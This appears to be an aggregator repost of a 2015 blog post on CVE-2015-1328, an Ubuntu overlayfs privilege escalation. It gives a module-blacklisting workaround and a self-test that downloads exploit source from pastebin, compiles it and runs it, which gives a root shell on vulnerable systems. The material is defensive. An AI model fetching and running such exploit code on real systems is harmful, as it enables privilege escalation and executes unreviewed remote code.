惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 聂微东
Y
Y Combinator Blog
WordPress大学
WordPress大学
L
LangChain Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
A
About on SuperTechFans
小众软件
小众软件
有赞技术团队
有赞技术团队
S
SegmentFault 最新的问题
宝玉的分享
宝玉的分享
Recent Announcements
Recent Announcements
GbyAI
GbyAI
I
InfoQ
The GitHub Blog
The GitHub Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
酷 壳 – CoolShell
酷 壳 – CoolShell
罗磊的独立博客
C
Check Point Blog
V
V2EX
Apple Machine Learning Research
Apple Machine Learning Research
月光博客
月光博客
量子位
雷峰网
雷峰网
Hugging Face - Blog
Hugging Face - Blog

Emil Burzo

GPS spoofing teleported me to Peru, mid-flight Running Claude Code dangerously (safely) Reverse engineering the Nest home/away API Tracking down an old OkHttp regression What does StackOverflow's personalized prediction data think of you? Cum se plătesc impozitele PFA prin BT24 Work-around for when keyserver.ubuntu.com is down Creating a tailable cursor on MongoDB 3 with the Java driver API Analiza parcului auto din România Setting up gitolite on Ubuntu 12.04 LTS
Quick fix for CVE-2015-1328
2015-06-16 · via Emil Burzo

As you may have noticed, a rather serious Ubuntu privilege escalation exploit has been disclosed today:

CVE-2015-1328: incorrect permission checks in overlayfs, ubuntu local root

The overlayfs filesystem does not correctly check file permissions when creating new files in the upper filesystem directory. This can be exploited by an unprivileged process in kernels with CONFIG_USER_NS=y and where overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs inside unprivileged mount namespaces. This is the default configuration of Ubuntu 12.04, 14.04, 14.10, and 15.04 [1].

At the time of writing, there is no patch available.

However, there is a quick work-around for the issue (run as root):

modprobe -r overlayfs  
echo "blacklist overlayfs" > /etc/modprobe.d/blacklist-overlayfs.conf

What the above does:

  • remove the overlayfs module from memory, if currently loaded
  • blacklist the overlayfs module from being loaded at boot

Possible GOTCHA: the overlayfs module can be called just overlay in previous versions of Ubuntu.

You can check what is the correct name with:

modinfo overlay  
modinfo overlayfs

One of these will show the module information, and one will say “module not found”.

To confirm that you are not affected, try the following (run as a normal user):

curl http://pastebin.com/raw.php?i=aQD0LC7w -o cve-2015-1238.c  
gcc cve-2015-1238.c -o cve-2015-1238  
./cve-2015-1238

And you should see the following output if you are safe

$ ./cve-2015-1238
spawning threads  
mount #1  
no FS_USERNS_MOUNT for overlayfs on this kernel  
child threads done  
exploit failed
$

If you are not safe, you will get a root shell (#)